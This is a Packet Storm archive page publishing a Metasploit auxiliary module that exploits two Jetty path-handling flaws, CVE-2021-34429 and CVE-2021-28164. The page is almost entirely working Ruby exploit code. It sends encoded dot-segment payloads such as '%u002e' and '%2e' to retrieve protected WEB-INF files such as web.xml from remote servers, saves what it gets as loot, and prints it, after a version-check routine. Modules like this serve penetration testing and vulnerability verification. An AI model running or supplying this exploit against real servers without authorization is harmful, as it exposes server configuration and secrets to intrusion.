exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Jetty WEB-INF File Disclosure

Jetty WEB-INF File Disclosure
Posted Aug 31, 2024
Authored by h00die, Mayank Deshmukh, cangqingzhe, charlesk40, lachlan roberts | Site metasploit.com

Jetty suffers from a vulnerability where certain encoded URIs and ambiguous paths can access protected files in the WEB-INF folder. Versions effected are: 9.4.37.v20210219, 9.4.38.v20210224 and 9.4.37-9.4.42, 10.0.1-10.0.5, 11.0.1-11.0.5. Exploitation can obtain any file in the WEB-INF folder, but web.xml is most likely to have information of value.

tags | exploit, web
advisories | CVE-2021-28164, CVE-2021-34429
SHA-256 | 8dfcee78eebf17abc7fd9c39192937639d93c646932d8c726dffcbafbedbf39b

Jetty WEB-INF File Disclosure

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Jetty WEB-INF File Disclosure',
'Description' => %q{
Jetty suffers from a vulnerability where certain encoded URIs and ambiguous paths can access
protected files in the WEB-INF folder. Versions effected are:
9.4.37.v20210219, 9.4.38.v20210224 and 9.4.37-9.4.42, 10.0.1-10.0.5, 11.0.1-11.0.5.
Exploitation can obtain any file in the WEB-INF folder, but web.xml is most likely
to have information of value.
},
'Author' => [
'h00die', # msf module
'Mayank Deshmukh', # EDB module
'cangqingzhe', # CVE-2021-34429
'lachlan roberts <lachlan@webtide.com>', # CVE-2021-34429
'charlesk40' # CVE-2021-28164
],
'References' => [
[ 'EDB', '50438' ],
[ 'EDB', '50478' ],
[ 'URL', 'https://github.com/ColdFusionX/CVE-2021-34429' ],
[ 'URL', 'https://github.com/eclipse/jetty.project/security/advisories/GHSA-vjv5-gp2w-65vm' ], # CVE-2021-34429
[ 'URL', 'https://github.com/eclipse/jetty.project/security/advisories/GHSA-v7ff-8wcx-gmc5' ], # CVE-2021-28164
[ 'CVE', '2021-34429' ],
[ 'CVE', '2021-28164' ]
],
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ ],
'SideEffects' => [ IOC_IN_LOGS ]
},
'DisclosureDate' => '2021-07-15',
'Actions' => [
[ 'READ_FILE', { 'Description' => 'Read file on the remote server from WEB-INF folder' } ],
],
'DefaultAction' => 'READ_FILE'
)
)
register_options([
Opt::RPORT(8080),
OptString.new('FILE', [false, 'File in WEB-INF to retrieve', 'web.xml']),
OptEnum.new('CVE', [true, 'The vulnerability to use', 'CVE-2021-34429', ['CVE-2021-34429', 'CVE-2021-28164']])
])
end

def check
res = send_request_cgi('uri' => '/')
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return Exploit::CheckCode::Safe("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
return Exploit::CheckCode::Safe("#{peer} - No Server header found") unless res.headers['Server']
unless /Jetty\((?<version>[^)]+)\)/ =~ res.headers['Server']
return Exploit::CheckCode::Safe("#{peer} - Unable to detect Jetty version from server header: #{res.headers['Server']}")
end

vprint_status("Found version: #{version}")
version = Rex::Version.new(version)

if version == Rex::Version.new('9.4.37.v20210219') || version == Rex::Version.new('9.4.38.v20210224')
print_good("#{version} vulnerable to CVE-2021-28164")
return Exploit::CheckCode::Detected
elsif version.between?(Rex::Version.new('9.4.37'), Rex::Version.new('9.4.43')) ||
version.between?(Rex::Version.new('10.0.1'), Rex::Version.new('10.0.6')) ||
version.between?(Rex::Version.new('11.0.1'), Rex::Version.new('11.0.6'))
print_good("#{version} vulnerable to CVE-2021-34429")
return Exploit::CheckCode::Appears
end

Exploit::CheckCode::Safe('Server not vulnerable')
end

def pick_payload
case datastore['CVE']
when 'CVE-2021-34429'
payload = '%u002e'
when 'CVE-2021-28164'
payload = '%2e'
end

payload
end

def run
res = send_request_cgi('uri' => "/#{pick_payload}/WEB-INF/#{datastore['FILE']}")
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
path = store_loot("jetty.#{datastore['FILE']}", 'text/plain', target_host, res.body, datastore['FILE'], 'Jetty WEB-INF File')
print_good("File stored to #{path}")
print_good(res.body)
end

end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close